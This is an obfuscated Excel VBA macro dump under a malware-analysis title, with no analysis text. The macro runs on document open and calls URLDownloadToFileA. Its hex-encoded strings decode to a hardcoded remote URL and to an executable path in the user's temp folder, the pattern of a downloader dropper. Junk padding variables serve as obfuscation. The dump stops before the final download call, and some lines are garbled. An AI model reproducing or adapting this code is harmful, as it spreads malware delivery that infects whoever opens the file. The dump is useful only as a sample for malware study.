Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#End If

Public Function гпгнаНШвап(ByVal zgopnsdQeHUT As String) As String
For sfRsON = 1 To Len(zgopnsdQeHUT) Step 2
Dim rSTlsQOc, YVMdWolJ, WFNJaMRb As String
Dim uTUnTdLG, NXvswlil, RJyUOFNq As String
uTUnTdLG = "           KYUFQK               "
NXvswlil = LTrim(uTUnTdLG)щРгшпыва
RJyUOFNq = RTrim(NXvswlil)

rSTlsQOc = "           BDMTTX               "
Dim OQCtmPKp, CAeInwrK, skisTuhn As String
OQCtmPKp = "           UAVHMZ               "
CAeInwrK = LTrim(OQCtmPKp)
skisTuhn = RTrim(CAeInwrK)

YVMdWolJ = LTrim(rSTlsQOc)
Dim clWBfWIS, PvUzGISC, IoqFDQkw As String
clWBfWIS = "           PWSOWB               "
PvUzGISC = LTrim(clWBfWIS)
IoqFDQkw = RTrim(PvUzGISC)

WFNJaMRb = RTrim(YVMdWolJ)

Dim vPOIuMFZ, lQLMABsE, hQeyXeOR As String
vPOIuMFZ = "           KYMXWJ               "
lQLMABsE = LTrim(vPOIuMFZ)
hQeyXeOR = RTrim(lQLMABsE)

oriHQPz = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(zgopnsdQeHUT, sfRsON, 2)))
Dim BPUaVHvk, qHlrbEAZ, cXyuzkRD As String
Dim nFYTGJtI, yOgNzsXn, BNtQLlqr As String
nFYTGJtI = "           ZQUHHU               "
yOgNzsXn = LTrim(nFYTGJtI)
BNtQLlqr = RTrim(yOgNzsXn)

BPUaVHvk = "           TFOKZH               "
Dim KpulRnFG, uNsCPsNc, OqnJlOOK As String
KpulRnFG = "           SDECBC               "
uNsCPsNc = LTrim(KpulRnFG)
OqnJlOOK = RTrim(uNsCPsNc)

qHlrbEAZ = LTrim(BPUaVHvk)
Dim DuizjREP, BdMtKlUW, CVcJHmdl As String
DuizjREP = "           KGKPXJ               "
BdMtKlUW = LTrim(DuizjREP)
CVcJHmdl = RTrim(BdMtKlUW)

cXyuzkRD = RTrim(qHlrbEAZ)

Dim rRcZkfhO, BRUFQkSQ, WTKNyxpS As String
rRcZkfhO = "           IEFLNN               "
BRUFQkSQ = LTrim(rRcZkfhO)
WTKNyxpS = RTrim(BRUFQkSQ)

jEhlzJ = jEhlzJ & oriHQPz
Next sfRsON
Dim FkTWJagM, PkGustSW, TlBlTppX As String
Dim rXssqdmb, OJLYcUdk, fDAaPerp As String
rXssqdmb = "           PRJVSB               "
OJLYcUdk = LTrim(rXssqdmb)
fDAaPerp = RTrim(OJLYcUdk)

FkTWJagM = "           NCKZDM               "
Dim iKLxiigk, xIVNdLnN, BLdMXjpm As String
iKLxiigk = "           MTXBFF               "
xIVNdLnN = LTrim(iKLxiigk)
BLdMXjpm = RTrim(xIVNdLnN)

PkGustSW = LTrim(FkTWJagM)
Dim OrINxUIo, WpmeBmSl, uhuynoGE As String
OrINxUIo = "           HDTOBK               "
WpmeBmSl = LTrim(OrINxUIo)
uhuynoGE = RTrim(WpmeBmSl)

TlBlTppX = RTrim(PkGustSW)

Dim CJRNMlsP, LKGsgxOQ, FKBcIAuS As String
CJRNMlsP = "           TPJTGE               "
LKGsgxOQ = LTrim(CJRNMlsP)
FKBcIAuS = RTrim(LKGsgxOQ)

гпгнаНШвап = jEhlzJ
End Function



Sub авпМРлв()
Dim SxBXViCJ, VZQBbWaz, qIczzOrd As String
Dim myarJqJO, OXuUCXek, VSsqeUgN As String
Dim iiRJIBot, xVPmFQmD, BoBgciru As String
iiRJIBot = гпгнаНШвап("20202020202020202020204D44474F4150202020202020202020202020202020")
xVPmFQmD = LTrim(iiRJIBot)
BoBgciru = RTrim(xVPmFQmD)

myarJqJO = гпгнаНШвап("20202020202020202020204E534E485947202020202020202020202020202020")
Dim dMtAOMTH, qRIgUXsg, cQmkoOgb As String
dMtAOMTH = гпгнаНШвап("202020202020202020202054494A435442202020202020202020202020202020")
qRIgUXsg = LTrim(dMtAOMTH)
cQmkoOgb = RTrim(qRIgUXsg)

OXuUCXek = LTrim(myarJqJO)
Dim dklszWyz, ilEcxBZe, rlDOHrNr As String
dklszWyz = гпгнаНШвап("2020202020202020202020444353514C4A202020202020202020202020202020")
ilEcxBZe = LTrim(dklszWyz)
rlDOHrNr = RTrim(ilEcxBZe)

VSsqeUgN = RTrim(OXuUCXek)

Dim WPtrfsNr, FaWGrlgU, lXEpjFyb As String
WPtrfsNr = гпгнаНШвап("2020202020202020202020534F4C5A5A4A202020202020202020202020202020")
FaWGrlgU = LTrim(WPtrfsNr)
lXEpjFyb = RTrim(FaWGrlgU)

SxBXViCJ = гпгнаНШвап("20202020202020202020204A5844554459202020202020202020202020202020")
Dim pDBVPwIq, wLQadoQw, lEgDqqkM As String
Dim AmfouTDn, HqlSsjBo, lwUYWFIE As String
AmfouTDn = гпгнаНШвап("2020202020202020202020454C594B464E202020202020202020202020202020")
HqlSsjBo = LTrim(AmfouTDn)
lwUYWFIE = RTrim(HqlSsjBo)

pDBVPwIq = гпгнаНШвап("2020202020202020202020455446495944202020202020202020202020202020")
Dim ScJUNliT, PimmVwDr, CfucnpJg As String
ScJUNliT = гпгнаНШвап("20202020202020202020204A434F4E4653202020202020202020202020202020")
PimmVwDr = LTrim(ScJUNliT)
CfucnpJg = RTrim(PimmVwDr)

wLQadoQw = LTrim(pDBVPwIq)
Dim FTcKCkHg, PTIrjxfh, TYKhQnQj As String
FTcKCkHg = гпгнаНШвап("2020202020202020202020415246414845202020202020202020202020202020")
PTIrjxfh = LTrim(FTcKCkHg)
TYKhQnQj = RTrim(PTIrjxfh)

lEgDqqkM = RTrim(wLQadoQw)

Dim JOwGTgym, xRepKOVd, anQRttGr As String
JOwGTgym = гпгнаНШвап("202020202020202020202050494157514C202020202020202020202020202020")
xRepKOVd = LTrim(JOwGTgym)
anQRttGr = RTrim(xRepKOVd)

VZQBbWaz = LTrim(SxBXViCJ)
Dim KyPHXSZf, FyWzjJNg, OutfPWch As String
Dim brCmzTzh, zgsgQeQO, jtkKJFCk As String
brCmzTzh = гпгнаНШвап("2020202020202020202020505745594E4C202020202020202020202020202020")
zgsgQeQO = LTrim(brCmzTzh)
jtkKJFCk = RTrim(zgsgQeQO)

KyPHXSZf = гпгнаНШвап("2020202020202020202020454A4D4E4844202020202020202020202020202020")
Dim VTlcDudI, pQynhWhL, oxOdfCXk As String
VTlcDudI = гпгнаНШвап("2020202020202020202020434156574959202020202020202020202020202020")
pQynhWhL = LTrim(VTlcDudI)
oxOdfCXk = RTrim(pQynhWhL)

FyWzjJNg = LTrim(KyPHXSZf)
Dim lvdSuQjw, hbxVAGFx, qnYpXMsv As String
lvdSuQjw = гпгнаНШвап("2020202020202020202020484149565753202020202020202020202020202020")
hbxVAGFx = LTrim(lvdSuQjw)
qnYpXMsv = RTrim(hbxVAGFx)

OutfPWch = RTrim(FyWzjJNg)

Dim bfEplTGN, roqRYNYK, OrLBLmvO As String
bfEplTGN = гпгнаНШвап("20202020202020202020204D444E434849202020202020202020202020202020")
roqRYNYK = LTrim(bfEplTGN)
OrLBLmvO = RTrim(roqRYNYK)

qIczzOrd = RTrim(VZQBbWaz)

Dim gBEthjYa, LMsnZQvK, vHLWGyhP As String
Dim AknuzAty, rZGaQBFn, llWRHPNo As String
AknuzAty = гпгнаНШвап("2020202020202020202020515A4B424E4A202020202020202020202020202020")
rZGaQBFn = LTrim(AknuzAty)
llWRHPNo = RTrim(rZGaQBFn)

gBEthjYa = гпгнаНШвап("202020202020202020202058485445454D202020202020202020202020202020")
Dim OFmlTlPh, XMuwiiDn, iNLvOXHQ As String
OFmlTlPh = гпгнаНШвап("20202020202020202020204854564C5253202020202020202020202020202020")
XMuwiiDn = LTrim(OFmlTlPh)
iNLvOXHQ = RTrim(XMuwiiDn)

LMsnZQvK = LTrim(gBEthjYa)
Dim GZQHJfiM, PZWzslTW, YEtfYxeX As String
GZQHJfiM = гпгнаНШвап("2020202020202020202020415A574E4441202020202020202020202020202020")
PZWzslTW = LTrim(GZQHJfiM)
YEtfYxeX = RTrim(PZWzslTW)

vHLWGyhP = RTrim(LMsnZQvK)

Dim taKrrCWS, VkIFWrqh, Efjpivzu As String
taKrrCWS = гпгнаНШвап("20202020202020202020204A4A535A4350202020202020202020202020202020")
VkIFWrqh = LTrim(taKrrCWS)
Efjpivzu = RTrim(VkIFWrqh)

ГлоиОРП
End Sub
Sub AutoOpen()
Dim cEPGpwez, lEMaRnnr, gRrdBTVt As String
Dim WAxxcIVp, cSPjuyUE, SZHWdJLs As String
Dim QFJMohPz, fBtFKDlw, AGqlVvTr As String
QFJMohPz = гпгнаНШвап("202020202020202020202047444E4C5251202020202020202020202020202020")
fBtFKDlw = LTrim(QFJMohPz)
AGqlVvTr = RTrim(fBtFKDlw)

WAxxcIVp = гпгнаНШвап("202020202020202020202046585142585A202020202020202020202020202020")
Dim kjOdjIzq, RxwhLxtw, HZilmpoT As String
kjOdjIzq = гпгнаНШвап("2020202020202020202020465250565153202020202020202020202020202020")
RxwhLxtw = LTrim(kjOdjIzq)
HZilmpoT = RTrim(RxwhLxtw)

cSPjuyUE = LTrim(WAxxcIVp)
Dim mmYoBTkj, hwHwlOGk, swaUFFdl As String
mmYoBTkj = гпгнаНШвап("20202020202020202020204A564B4F4A4F202020202020202020202020202020")
hwHwlOGk = LTrim(mmYoBTkj)
swaUFFdl = RTrim(hwHwlOGk)

SZHWdJLs = RTrim(cSPjuyUE)

Dim mFqTrRbN, NPKNjBjJ, KaOQiyYm As String
mFqTrRbN = гпгнаНШвап("202020202020202020202042515848434E202020202020202020202020202020")
NPKNjBjJ = LTrim(mFqTrRbN)
KaOQiyYm = RTrim(NPKNjBjJ)

cEPGpwez = гпгнаНШвап("20202020202020202020204B454D424354202020202020202020202020202020")
Dim DKDKMJCp, BVbWwTam, qrsVVlrR As String
Dim SrqllsGQ, aMhCbCal, EtRJomPD As String
SrqllsGQ = гпгнаНШвап("20202020202020202020204F5154434D48202020202020202020202020202020")
aMhCbCal = LTrim(SrqllsGQ)
EtRJomPD = RTrim(aMhCbCal)

DKDKMJCp = гпгнаНШвап("20202020202020202020204B4949545156202020202020202020202020202020")
Dim PQTZOfSe, IxigUhlZ, MZMkorwD As String
PQTZOfSe = гпгнаНШвап("202020202020202020202048524543594F202020202020202020202020202020")
IxigUhlZ = LTrim(PQTZOfSe)
MZMkorwD = RTrim(IxigUhlZ)

BVbWwTam = LTrim(DKDKMJCp)
Dim AtDOkwDX, cyCXSnqC, lyuiyRIV As String
AtDOkwDX = гпгнаНШвап("20202020202020202020204D4857434E54202020202020202020202020202020")
cyCXSnqC = LTrim(AtDOkwDX)
lyuiyRIV = RTrim(cyCXSnqC)

qrsVVlrR = RTrim(BVbWwTam)

Dim KRLCEtnF, xbAkJblT, zmoSrMpc As String
KRLCEtnF = гпгнаНШвап("20202020202020202020205257494A5757202020202020202020202020202020")
xbAkJblT = LTrim(KRLCEtnF)
zmoSrMpc = RTrim(xbAkJblT)

lEMaRnnr = LTrim(cEPGpwez)
Dim HCQGZFdh, QCWaCKPk, YVtdkCil As String
Dim zGDooLky, RNzeKjan, LHuYCzso As String
zGDooLky = гпгнаНШвап("20202020202020202020205646564E454E202020202020202020202020202020")
RNzeKjan = LTrim(zGDooLky)
LHuYCzso = RTrim(RNzeKjan)

HCQGZFdh = гпгнаНШвап("2020202020202020202020415357425946202020202020202020202020202020")
Dim yDqykGdJ, kLCoLZjz, hRnWJRXn As String
yDqykGdJ = гпгнаНШвап("202020202020202020202041544C534358202020202020202020202020202020")
kLCoLZjz = LTrim(yDqykGdJ)
hRnWJRXn = RTrim(kLCoLZjz)

QCWaCKPk = LTrim(HCQGZFdh)
Dim fsWruYLL, odthAQjM, tdgAXGFW As String
fsWruYLL = гпгнаНШвап("2020202020202020202020444D42555750202020202020202020202020202020")
odthAQjM = LTrim(fsWruYLL)
tdgAXGFW = RTrim(odthAQjM)

YVtdkCil = RTrim(QCWaCKPk)

Dim YwmKCdGo, bQqEDlrS, rULVaFXR As String
YwmKCdGo = гпгнаНШвап("202020202020202020202054414E584D4B202020202020202020202020202020")
bQqEDlrS = LTrim(YwmKCdGo)
rULVaFXR = RTrim(bQqEDlrS)

gRrdBTVt = RTrim(lEMaRnnr)

Dim fnCRbgbA, LwTBSPkl, vkdlNtoq As String
Dim NAqlvJlX, ZSvdigzh, JZRHfNfV As String
NAqlvJlX = гпгнаНШвап("2020202020202020202020435550545142202020202020202020202020202020")
ZSvdigzh = LTrim(NAqlvJlX)
JZRHfNfV = RTrim(ZSvdigzh)

fnCRbgbA = гпгнаНШвап("2020202020202020202020474C50554C4E202020202020202020202020202020")
Dim VoTAFLhf, pgkRhYlv, iBWjfOBV As String
VoTAFLhf = гпгнаНШвап("2020202020202020202020434845434956202020202020202020202020202020")
pgkRhYlv = LTrim(VoTAFLhf)
iBWjfOBV = RTrim(pgkRhYlv)

LwTBSPkl = LTrim(fnCRbgbA)
Dim GADOxaju, PZCWJyFi, YEuuqpso As String
GADOxaju = гпгнаНШвап("2020202020202020202020415A5858454D202020202020202020202020202020")
PZCWJyFi = LTrim(GADOxaju)
YEuuqpso = RTrim(PZCWJyFi)

vkdlNtoq = RTrim(LwTBSPkl)

Dim UGjsDhAG, dQVUaPlU, yzGlJJUq As String
UGjsDhAG = гпгнаНШвап("202020202020202020202054515655474C202020202020202020202020202020")
dQVUaPlU = LTrim(UGjsDhAG)
yzGlJJUq = RTrim(dQVUaPlU)

    авпМРлв
End Sub
Sub Workbook_Open()
Dim mqtVbcam, NySlSLKd, TzmDBfPr As String
Dim DVPlCGkj, zFGCenEB, RNrJSVdl As String
Dim KBjCheac, mpTJBnPJ, ONQmtsXb As String
KBjCheac = гпгнаНШвап("20202020202020202020204C4C444D5554202020202020202020202020202020")
mpTJBnPJ = LTrim(KBjCheac)
ONQmtsXb = RTrim(mpTJBnPJ)

DVPlCGkj = гпгнаНШвап("202020202020202020202050494B564F54202020202020202020202020202020")
Dim gDPspTPG, nLxgQlFN, SBokfuJq As String
gDPspTPG = гпгнаНШвап("2020202020202020202020534750434950202020202020202020202020202020")
nLxgQlFN = LTrim(gDPspTPG)
SBokfuJq = RTrim(nLxgQlFN)

zFGCenEB = LTrim(DVPlCGkj)
Dim GahZPryv, QabFtiEb, YzPNbdNn As String
GahZPryv = гпгнаНШвап("20202020202020202020204146504C5058202020202020202020202020202020")
QabFtiEb = LTrim(GahZPryv)
YzPNbdNn = RTrim(QabFtiEb)

RNrJSVdl = RTrim(zFGCenEB)

Dim RYmWndTj, pAehDUxi, GxPQaegN As String
RYmWndTj = гпгнаНШвап("2020202020202020202020525541564F4B202020202020202020202020202020")
pAehDUxi = LTrim(RYmWndTj)
GxPQaegN = RTrim(pAehDUxi)

mqtVbcam = гпгнаНШвап("20202020202020202020204B51464A4C52202020202020202020202020202020")
Dim UNmhCWbF, MyulbOEB, ysLwaxYp As String
Dim fCddOZoI, ZDlHGfmj, tVUPvQeP As String
fCddOZoI = гпгнаНШвап("20202020202020202020204355594D5A56202020202020202020202020202020")
ZDlHGfmj = LTrim(fCddOZoI)
tVUPvQeP = RTrim(ZDlHGfmj)

UNmhCWbF = гпгнаНШвап("202020202020202020202058584542414B202020202020202020202020202020")
Dim DmBzuzac, QyZGtrYC, CsgKUKPi As String
DmBzuzac = гпгнаНШвап("20202020202020202020204B5846504A45202020202020202020202020202020")
QyZGtrYC = LTrim(DmBzuzac)
CsgKUKPi = RTrim(QyZGtrYC)

MyulbOEB = LTrim(UNmhCWbF)
Dim jlVLqvRR, slotTZzT, imlkNUbU As String
jlVLqvRR = гпгнаНШвап("20202020202020202020204756415A4359202020202020202020202020202020")
slotTZzT = LTrim(jlVLqvRR)
imlkNUbU = RTrim(slotTZzT)

ysLwaxYp = RTrim(MyulbOEB)

Dim oIxDTRsM, FRtiKNrS, lbSZtmWE As String
oIxDTRsM = гпгнаНШвап("2020202020202020202020534343535849202020202020202020202020202020")
FRtiKNrS = LTrim(oIxDTRsM)
lbSZtmWE = RTrim(FRtiKNrS)

NySlSLKd = LTrim(mqtVbcam)
Dim aoMeDAwt, XpthiTLy, KqgAZPju As String
Dim PWoZezhL, dycxSvBd, nXENKqqW As String
PWoZezhL = гпгнаНШвап("2020202020202020202020474A4F504152202020202020202020202020202020")
dycxSvBd = LTrim(PWoZezhL)
nXENKqqW = RTrim(dycxSvBd)

aoMeDAwt = гпгнаНШвап("2020202020202020202020554C42555155202020202020202020202020202020")
Dim PdCdXawO, IVnBMezi, MrdzxJtl As String
PdCdXawO = гпгнаНШвап("2020202020202020202020484B5347535A202020202020202020202020202020")
IVnBMezi = LTrim(PdCdXawO)
MrdzxJtl = RTrim(IVnBMezi)

XpthiTLy = LTrim(aoMeDAwt)
Dim UCiicemM, ZCklKuKW, vVATdshX As String
UCiicemM = гпгнаНШвап("20202020202020202020204353594F5257202020202020202020202020202020")
ZCklKuKW = LTrim(UCiicemM)
vVATdshX = RTrim(ZCklKuKW)

KqgAZPju = RTrim(XpthiTLy)

Dim fAHsJmFX, uKUCIAeb, SDgkWXWj As String
fAHsJmFX = гпгнаНШвап("2020202020202020202020585251594A58202020202020202020202020202020")
uKUCIAeb = LTrim(fAHsJmFX)
SDgkWXWj = RTrim(uKUCIAeb)

TzmDBfPr = RTrim(NySlSLKd)

Dim GKOPJSfb, mDjttutj, NOBbkACo As String
Dim BObhdYRg, AMDpXrfO, HPLFaHbk As String
BObhdYRg = гпгнаНШвап("202020202020202020202058514A52544D202020202020202020202020202020")
AMDpXrfO = LTrim(BObhdYRg)
HPLFaHbk = RTrim(AMDpXrfO)

GKOPJSfb = гпгнаНШвап("20202020202020202020205A5A45505A51202020202020202020202020202020")
Dim IWPoVCtX, WaxsnPiy, LSNVvSDT As String
IWPoVCtX = гпгнаНШвап("2020202020202020202020474F5946444E202020202020202020202020202020")
WaxsnPiy = LTrim(IWPoVCtX)
LSNVvSDT = RTrim(WaxsnPiy)

mDjttutj = LTrim(GKOPJSfb)
Dim ztqCFZNs, CymooUcd, LyRmESWf As String
ztqCFZNs = гпгнаНШвап("2020202020202020202020554855455349202020202020202020202020202020")
CymooUcd = LTrim(ztqCFZNs)
LyRmESWf = RTrim(CymooUcd)

NOBbkACo = RTrim(mDjttutj)

Dim wqNchuEB, NyIKEZmH, LxvElOPl As String
wqNchuEB = гпгнаНШвап("2020202020202020202020425848534547202020202020202020202020202020")
NyIKEZmH = LTrim(wqNchuEB)
LxvElOPl = RTrim(NyIKEZmH)

    авпМРлв
End Sub
Sub ГлоиОРП()
Dim sEdtiYzd, nllIdkfW, eTYZXGXh As String
Dim rTTPgcJa, YHMRVMnm, WYNirYSe As String
Dim fcSgRpEL, HIaogUdf, tvyDllvX As String
fcSgRpEL = гпгнаНШвап("2020202020202020202020525443454749202020202020202020202020202020")
HIaogUdf = LTrim(fcSgRpEL)
tvyDllvX = RTrim(HIaogUdf)

rTTPgcJa = гпгнаНШвап("2020202020202020202020424F4D465547202020202020202020202020202020")
Dim xHXfWNHb, IXIjxFLP, MzmlBZCW As String
xHXfWNHb = гпгнаНШвап("20202020202020202020204F595348515A202020202020202020202020202020")
IXIjxFLP = LTrim(xHXfWNHb)
MzmlBZCW = RTrim(IXIjxFLP)

YHMRVMnm = LTrim(rTTPgcJa)
Dim DhenuOEk, IhdSADal, RjxBXKvm As String
DhenuOEk = гпгнаНШвап("20202020202020202020204E58454B5751202020202020202020202020202020")
IhdSADal = LTrim(DhenuOEk)
RjxBXKvm = RTrim(IhdSADal)

WYNirYSe = RTrim(YHMRVMnm)

Dim HhjpAEnW, wsVTFBkD, NuYNalpT As String
HhjpAEnW = гпгнаНШвап("2020202020202020202020504256544F4E202020202020202020202020202020")
wsVTFBkD = LTrim(HhjpAEnW)
NuYNalpT = RTrim(wsVTFBkD)

sEdtiYzd = гпгнаНШвап("202020202020202020202058565948464E202020202020202020202020202020")
Dim TDQNhMKg, EvgDfXcD, GRaHGPnV As String
Dim awYKGbnr, hsQwWqSS, KxNhRIwu As String
awYKGbnr = гпгнаНШвап("20202020202020202020204A4C48505443202020202020202020202020202020")
hsQwWqSS = LTrim(awYKGbnr)
KxNhRIwu = RTrim(hsQwWqSS)

TDQNhMKg = гпгнаНШвап("20202020202020202020204654554F5842202020202020202020202020202020")
Dim Beaatnvx, qoDrUgAU, xgbuoeRK As String
Beaatnvx = гпгнаНШвап("202020202020202020202052434C4B5449202020202020202020202020202020")
qoDrUgAU = LTrim(Beaatnvx)
xgbuoeRK = RTrim(qoDrUgAU)

EvgDfXcD = LTrim(TDQNhMKg)
Dim TUOtvLJv, AILjLCgb, xOeEfzSn As String
TUOtvLJv = гпгнаНШвап("202020202020202020202058544D555248202020202020202020202020202020")
AILjLCgb = LTrim(TUOtvLJv)
xOeEfzSn = RTrim(AILjLCgb)

GRaHGPnV = RTrim(EvgDfXcD)

Dim GBNZSUSm, lMICBzRs, BGhlscwr As String
GBNZSUSm = гпгнаНШвап("20202020202020202020205A5953554E4F202020202020202020202020202020")
lMICBzRs = LTrim(GBNZSUSm)
BGhlscwr = RTrim(lMICBzRs)

nllIdkfW = LTrim(sEdtiYzd)
Dim DswBtSvj, IdTqbHXk, RdGxMWll As String
Dim FmmQzYXW, eqngikiE, TxFoJGJV As String
FmmQzYXW = гпгнаНШвап("2020202020202020202020504C5059514E202020202020202020202020202020")
eqngikiE = LTrim(FmmQzYXW)
TxFoJGJV = RTrim(eqngikiE)

DswBtSvj = гпгнаНШвап("20202020202020202020204E4D44524D44202020202020202020202020202020")
Dim RVOkUGlW, ZOdtTJNl, FGBiuTeR As String
RVOkUGlW = гпгнаНШвап("20202020202020202020204451594B5443202020202020202020202020202020")
ZOdtTJNl = LTrim(RVOkUGlW)
FGBiuTeR = RTrim(ZOdtTJNl)

IdTqbHXk = LTrim(DswBtSvj)
Dim evsMjgfE, VbwyPlQR, MbYktcoT As String
evsMjgfE = гпгнаНШвап("2020202020202020202020494E495A4E41202020202020202020202020202020")
VbwyPlQR = LTrim(evsMjgfE)
MbYktcoT = RTrim(VbwyPlQR)

RdGxMWll = RTrim(IdTqbHXk)

Dim sLdTKtAz, HFMNtblM, OtQQWYIc As String
sLdTKtAz = гпгнаНШвап("20202020202020202020204D4458484A46202020202020202020202020202020")
HFMNtblM = LTrim(sLdTKtAz)
OtQQWYIc = RTrim(HFMNtblM)

eTYZXGXh = RTrim(nllIdkfW)

Dim jpmHpozc, pnqnNhja, GwLXfPoK As String
Dim BURXZdij, fcPbUVlB, HIBlkwel As String
BURXZdij = гпгнаНШвап("202020202020202020202048424753564A202020202020202020202020202020")
fcPbUVlB = LTrim(BURXZdij)
HIBlkwel = RTrim(fcPbUVlB)

jpmHpozc = гпгнаНШвап("202020202020202020202043584E574E48202020202020202020202020202020")
Dim qPiwwaZm, omQileoL, mncqXJsr As String
qPiwwaZm = гпгнаНШвап("202020202020202020202045454B4D425A202020202020202020202020202020")
omQileoL = LTrim(qPiwwaZm)
mncqXJsr = RTrim(omQileoL)

pnqnNhja = LTrim(jpmHpozc)
Dim EMIpsUvP, bMKwYQXQ, mWzUaHlS As String
EMIpsUvP = гпгнаНШвап("202020202020202020202057514C505650202020202020202020202020202020")
bMKwYQXQ = LTrim(EMIpsUvP)
mWzUaHlS = RTrim(bMKwYQXQ)

GwLXfPoK = RTrim(pnqnNhja)

Dim gajfYLgr, LXVIMfuW, vKYeuOVD As String
gajfYLgr = гпгнаНШвап("2020202020202020202020584A56555349202020202020202020202020202020")
LXVIMfuW = LTrim(gajfYLgr)
vKYeuOVD = RTrim(LXVIMfuW)

    щРгшпыва = гпгнаНШвап("687474703A2F2F39342E32332E3136302E3130323A383038302F6D616E732F706F70732E706870")
Dim BnJvxLPk, CsmqmWhH, okufCOla As String
Dim lhobrtlx, UyfeoHTt, XXlYgAHD As String
Dim IexnMwbf, CLZrNiQX, btJVORmj As String
IexnMwbf = гпгнаНШвап("2020202020202020202020555051415557202020202020202020202020202020")
CLZrNiQX = LTrim(IexnMwbf)
btJVORmj = RTrim(CLZrNiQX)

lhobrtlx = гпгнаНШвап("2020202020202020202020424A524E5344202020202020202020202020202020")
Dim YUiwXwre, LDMvcpif, JvcswsDD As String
YUiwXwre = гпгнаНШвап("2020202020202020202020465A4B4D5344202020202020202020202020202020")
LDMvcpif = LTrim(YUiwXwre)
JvcswsDD = RTrim(LDMvcpif)

UyfeoHTt = LTrim(lhobrtlx)
Dim vCYhhZSl, mVHAPUpl, hVNDtQUw As String
vCYhhZSl = гпгнаНШвап("20202020202020202020204C444B444E49202020202020202020202020202020")
mVHAPUpl = LTrim(vCYhhZSl)
hVNDtQUw = RTrim(mVHAPUpl)

XXlYgAHD = RTrim(UyfeoHTt)

Dim rFsTKWRl, IOLatjxs, fRAwkQfe As String
rFsTKWRl = гпгнаНШвап("20202020202020202020204F4E4B495A48202020202020202020202020202020")
IOLatjxs = LTrim(rFsTKWRl)
fRAwkQfe = RTrim(IOLatjxs)

BnJvxLPk = гпгнаНШвап("2020202020202020202020434250574242202020202020202020202020202020")
Dim ODvNrFtw, XLqeYAiY, MRFGREFt As String
Dim gLAfyHRZ, JrHiGffX, yMWQWNbR As String
gLAfyHRZ = гпгнаНШвап("202020202020202020202052484B455A56202020202020202020202020202020")
JrHiGffX = LTrim(gLAfyHRZ)
yMWQWNbR = RTrim(JrHiGffX)

ODvNrFtw = гпгнаНШвап("202020202020202020202048544E4F4858202020202020202020202020202020")
Dim hiTOQFkG, AfkSdZwN, DlrGGhvq As String
hiTOQFkG = гпгнаНШвап("2020202020202020202020594752415958202020202020202020202020202020")
AfkSdZwN = LTrim(hiTOQFkG)
DlrGGhvq = RTrim(AfkSdZwN)

XLqeYAiY = LTrim(ODvNrFtw)
Dim vZYmdRYg, lZHYUIrh, hENKzDAj As String
vZYmdRYg = гпгнаНШвап("20202020202020202020204B5A4B47564F202020202020202020202020202020")
lZHYUIrh = LTrim(vZYmdRYg)
hENKzDAj = RTrim(lZHYUIrh)

MRFGREFt = RTrim(XLqeYAiY)

Dim WgyortBX, FTXLWsfb, lnRgiYyk As String
WgyortBX = гпгнаНШвап("202020202020202020202053564C544346202020202020202020202020202020")
FTXLWsfb = LTrim(WgyortBX)
lnRgiYyk = RTrim(FTXLWsfb)

CsmqmWhH = LTrim(BnJvxLPk)
Dim lypKhtBc, fylrPpxb, puRjtfMn As String
Dim biAqJcLH, FVUGCotv, joXIYYFK As String
biAqJcLH = гпгнаНШвап("20202020202020202020204544464C5958202020202020202020202020202020")
FVUGCotv = LTrim(biAqJcLH)
joXIYYFK = RTrim(FVUGCotv)

lypKhtBc = гпгнаНШвап("2020202020202020202020484A55414E58202020202020202020202020202020")
Dim ZyBiNlFn, GsQqZyKQ, akcfrMWX As String
ZyBiNlFn = гпгнаНШвап("2020202020202020202020444646444651202020202020202020202020202020")
GsQqZyKQ = LTrim(ZyBiNlFn)
akcfrMWX = RTrim(GsQqZyKQ)

fylrPpxb = LTrim(lypKhtBc)
Dim zYZPOKIo, OsETbqIv, TdDJMgyb As String
zYZPOKIo = гпгнаНШвап("20202020202020202020204E4D53474D43202020202020202020202020202020")
OsETbqIv = LTrim(zYZPOKIo)
TdDJMgyb = RTrim(OsETbqIv)

puRjtfMn = RTrim(fylrPpxb)

Dim AewVrhpg, yVeljPau, QLPFEyLV As String
AewVrhpg = гпгнаНШвап("20202020202020202020205A4B414E434C202020202020202020202020202020")
yVeljPau = LTrim(AewVrhpg)
QLPFEyLV = RTrim(yVeljPau)

okufCOla = RTrim(CsmqmWhH)

Dim zmscdmnC, UhMKnHlG, sqAdDqpY As String
Dim gJDhFcHE, EYLLMozs, yKiDEYPT As String
gJDhFcHE = гпгнаНШвап("202020202020202020202043524D585258202020202020202020202020202020")
EYLLMozs = LTrim(gJDhFcHE)
yKiDEYPT = RTrim(EYLLMozs)

zmscdmnC = гпгнаНШвап("2020202020202020202020484158535A58202020202020202020202020202020")
Dim htJSlwEH, fHmvkcog, nXuALssb As String
htJSlwEH = гпгнаНШвап("20202020202020202020205946505A5644202020202020202020202020202020")
fHmvkcog = LTrim(htJSlwEH)
nXuALssb = RTrim(fHmvkcog)

UhMKnHlG = LTrim(zmscdmnC)
Dim qtOukblE, ytLlQRJR, zyeRyIgT As String
qtOukblE = гпгнаНШвап("202020202020202020202053484D494E59202020202020202020202020202020")
ytLlQRJR = LTrim(qtOukblE)
zyeRyIgT = RTrim(ytLlQRJR)

sqAdDqpY = RTrim(UhMKnHlG)

Dim xzOJMptm, zVksuRXs, ULBUlNFr As String
xzOJMptm = гпгнаНШвап("20202020202020202020204C5552465243202020202020202020202020202020")
zVksuRXs = LTrim(xzOJMptm)
ULBUlNFr = RTrim(zVksuRXs)

    ЩРгшпшгва = Environ(гпгнаНШвап("54454D50")) & гпгнаНШвап("5C3156324D555932585759534658512E657865")
Dim IGLrmosJ, EHrhGfOK, bJfAokuL As String
Dim LHpkuZEI, iThWsgFj, PJRGXQcP As String
